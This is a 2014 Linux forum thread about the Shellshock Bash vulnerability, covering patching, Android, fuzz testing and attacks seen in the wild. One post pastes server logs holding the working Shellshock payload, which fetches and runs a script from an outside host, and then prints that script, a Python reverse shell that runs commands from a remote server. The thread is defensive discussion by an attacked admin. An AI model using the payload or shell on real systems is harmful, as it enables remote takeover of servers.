A new BASH bug?

[claydoh]

Unless you are running some sort of a server facing the internet, then you are unlikely to need to worry about this, especially as the patches have been coming.
There is a fair bit of click-baiting on many websites about this, adding to the frenzy. And of course every single script-kiddie wannabe "hacker" is out there trying stuff out.











I went to grab my conspiracy-theory party hat, but it is a bit tattered and worn now

[jpenguin]

Bring back tin-foil hat Linux!

[kubicle]

We have a thread for 'shellshock' already: https://www.kubuntuforums.net/showth...A-new-BASH-bug

Should merge threads to avoid duplication.

[SteveRiley]

Should merge threads to avoid duplication.

Good idea -- done.

Does Android use Bash?

Apparently so. Not in the factory Android images from Google. Alternate ROMs may have it. Here's my Nexus 4, running Cyanogenmod snapshot M10, built from Android 4.4.4. You can see that Bash is part of this ROM:

So... are dash, ksh or tcsh affected?

Nope, these particular vulnerabilities exist only in Bash.

But that doesn't mean the other shells are free of potential vulnerabilities. Either no one's looked, or no one's reporting their findings.

[SteveRiley]

Hang on, wasn't the openssl bug found because Google and that other company did code audits?

Codenomicon was the other entity. They have the best write-up. Amusingly, Codenomicon tripped over the vulnerability while they were working on improvements to their product that, uh, looks for vulnerabilities A Google researcher discovered it independenty, but I'm not finding any details about the circumstances -- whether the finding was a true code audit or some other process. Neither of these changes the fact that the vulnerable code was released in early 2012, enabled by default, and sat there on millions of web servers for two years.

Thanks for your description of how things work at Microsoft, it's interesting. What's the ratio of developers to testers?

Don't know the ratio, sorry.

I read once that security guys often pick through open source projects to get a few CVEs on their CVs, is that true?

I've never done such a thing!

[whatthefunk]

Good idea -- done.


Apparently so. Here's my Nexus 4, running Cyanogenmod snapshot M10, built from Android 4.4.4:




Nope, these particular vulnerabilities exist only in Bash.

But that doesn't mean the other shells are free of potential vulnerabilities. Either no one's looked, or no one's reporting their findings.

Just checked on my HTC One running Android 4.4....bash wasnt found. Maybe its only in Cyanogenmod?

[jpenguin]

Also, it looks like most Android phones are not vulnerable because they use a Bash alternative.

http://www.vox.com/2014/9/25/6843949...-bug-explained

Also, there are installers for bash on android

https://play.google.com/store/apps/d...KcKsogTd8oCwAQ

Pretty sure bash isn't standard to android

[SteveRiley]

Just checked on my HTC One running Android 4.4....bash wasnt found. Maybe its only in Cyanogenmod?

You're right. I downloaded the factory image from Google and unpacked it. No Bash in /system/xbin. Did the same with Cyanogenmod and -- yep -- there it is. Good call; I'll amend my earlier post.

[Feathers McGraw]

I'm not finding any details about the circumstances -- whether the finding was a true code audit or some other process.

So you think the discovery might have had nothing to do with reading the source, just observing how openssl behaves in unusual situations? And is therefore the kind of thing that might have been caught by a "Microsoft style" test? That's interesting.

[Feathers McGraw]

I just had nine different hosts attack my server in under a minute looking for this BASH vulnerability:

113.171.59.148 - - [04/Oct/2014:17:36:33 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
1.1.247.220 - - [04/Oct/2014:17:36:37 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
188.245.110.201 - - [04/Oct/2014:17:36:40 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
178.92.12.100 - - [04/Oct/2014:17:36:42 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
193.151.41.195 - - [04/Oct/2014:17:37:29 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
14.165.245.191 - - [04/Oct/2014:17:37:36 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
41.69.225.8 - - [04/Oct/2014:17:37:49 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 619 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
178.121.131.85 - - [04/Oct/2014:17:37:53 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
110.169.232.5 - - [04/Oct/2014:17:37:56 +0100] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 582 "http://samhobbs.co.uk/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""

The coordinated attack suggests it could be a botnet? Do you think the clamd_update name is a red herring, or could the aim be to disable ClamAV or something similar?

On a different note, how is it that the rDNS lookup for one of these sites is "localhost"? Scared me for a minute when I checked the firewall :

$ sudo iptables -L
...
Chain fail2ban-shellshock-scan (1 references)
target     prot opt source               destination         
REJECT     all  --  ppp-110-169-232-5.revip5.asianet.co.th  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  mm-85-131-121-178.dynamic.pppoe.mgts.by  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  41.69.225.8          anywhere             reject-with icmp-port-unreachable
REJECT     all  --  14.165.245.191       anywhere             reject-with icmp-port-unreachable
REJECT     all  --  193.151.41.195       anywhere             reject-with icmp-port-unreachable
REJECT     all  --  100-12-92-178.pool.ukrtel.net  anywhere             reject-with icmp-port-unreachable
REJECT     all  --  188.245.110.201      anywhere             reject-with icmp-port-unreachable
REJECT     all  --  node-noc.pool-1-1.dynamic.totbb.net  anywhere             reject-with icmp-port-unreachable
[B]REJECT     all  --  localhost            anywhere             reject-with icmp-port-unreachable[/B]
RETURN     all  --  anywhere             anywhere

$ sudo iptables -L -n
...
Chain fail2ban-shellshock-scan (1 references)
target     prot opt source               destination         
REJECT     all  --  110.169.232.5        0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  178.121.131.85       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  41.69.225.8          0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  14.165.245.191       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  193.151.41.195       0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  178.92.12.100        0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  188.245.110.201      0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  1.1.247.220          0.0.0.0/0            reject-with icmp-port-unreachable
REJECT     all  --  113.171.59.148       0.0.0.0/0            reject-with icmp-port-unreachable
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

It's quite interesting watching this one develop. Is anyone else seeing similar coordinated attacks?

EDIT: here's the file they were trying to download

#!/usr/bin/env python


from socket import *
import os
from time import sleep
import sys


fpid = os.fork()

if fpid!=0:

    host='stats.google-traffic-analytics.com'
    port=9091
    sockobj = None
    ############################################

    sockobj = None
    recv = False

    def connect():
        try:
            sockobj=socket(AF_INET,SOCK_STREAM)
            sockobj.connect((host,port))
            return sockobj
        except:
            return False


    while True:
        while not sockobj:
            sockobj = connect()
            print "[*] Trying to reconnect..."
            sleep(1)
            if sockobj:
                print "[+] Connected"

        recv = sockobj.recv(1024)
        #print recv
        if not recv: sockobj = False; break;
        cmd = recv.strip()
        res = os.popen(cmd).read()
        if res:
            sockobj.sendall(res)

[SteveRiley]

So you think the discovery might have had nothing to do with reading the source, just observing how openssl behaves in unusual situations? And is therefore the kind of thing that might have been caught by a "Microsoft style" test? That's interesting.

Like I said, I can't seem to locate anything written by the Google researchers that describe how they discovered it. Perhaps they were examining the code with some tools that look for common coding mistakes like buffer overruns, or perhaps they were intentionally exercising it with unexpected data -- I just don't know.

I'm fairly certain that Microsoft's testing methods would have caught this bug. It's a classic rookie programming mistake. Fuzz testing tools are now very good at finding this particular type of vulnerability.

[SteveRiley]

It's quite interesting watching this one develop. Is anyone else seeing similar coordinated attacks?

My firewall doesn't have an opening for 80/tcp, as I don't need to run a public web server. It is open for 443/tcp, since I need authenticated access to DAViCal and TT-RSS. Interestingly, I'm seeing no Shellshock related activity in my log files. It's as if the scripts only target HTTP ports, not HTTPS ports.

[Feathers McGraw]

My firewall doesn't have an opening for 80/tcp, as I don't need to run a public web server. It is open for 443/tcp, since I need authenticated access to DAViCal and TT-RSS. Interestingly, I'm seeing no Shellshock related activity in my log files. It's as if the scripts only target HTTP ports, not HTTPS ports.

I've seen about 10x as many HTTP attacks as HTTPS, which is interesting. I get that it's more "expensive" to target HTTPS because of the time it takes to do the handshake, but it surely can't make that much difference!

Anyway, how do these bots decide which hosts to attack? I bet some of them use search engines, in which case you'd get less exposure because you're not trying to get your server indexed.

[Feathers McGraw]

It's a classic rookie programming mistake. Fuzz testing tools are now very good at finding this particular type of vulnerability.

Do you know of any decent FOSS apps out there for doing this? I have a feeling it's something I'll want to look into at some point!

[SteveRiley]

I've seen about 10x as many HTTP attacks as HTTPS, which is interesting. I get that it's more "expensive" to target HTTPS because of the time it takes to do the handshake, but it surely can't make that much difference!

It's quite difficult to insert something into the stream once the HTTPS session is established.

Anyway, how do these bots decide which hosts to attack? I bet some of them use search engines, in which case you'd get less exposure because you're not trying to get your server indexed.

That, and just general scanning of large IP address ranges, knocking on the port 80/tcp door.

Do you know of any decent FOSS apps out there for doing this? I have a feeling it's something I'll want to look into at some point!

Dude, really? http://lmgtfy.com/?q=open+source+fuzz+tester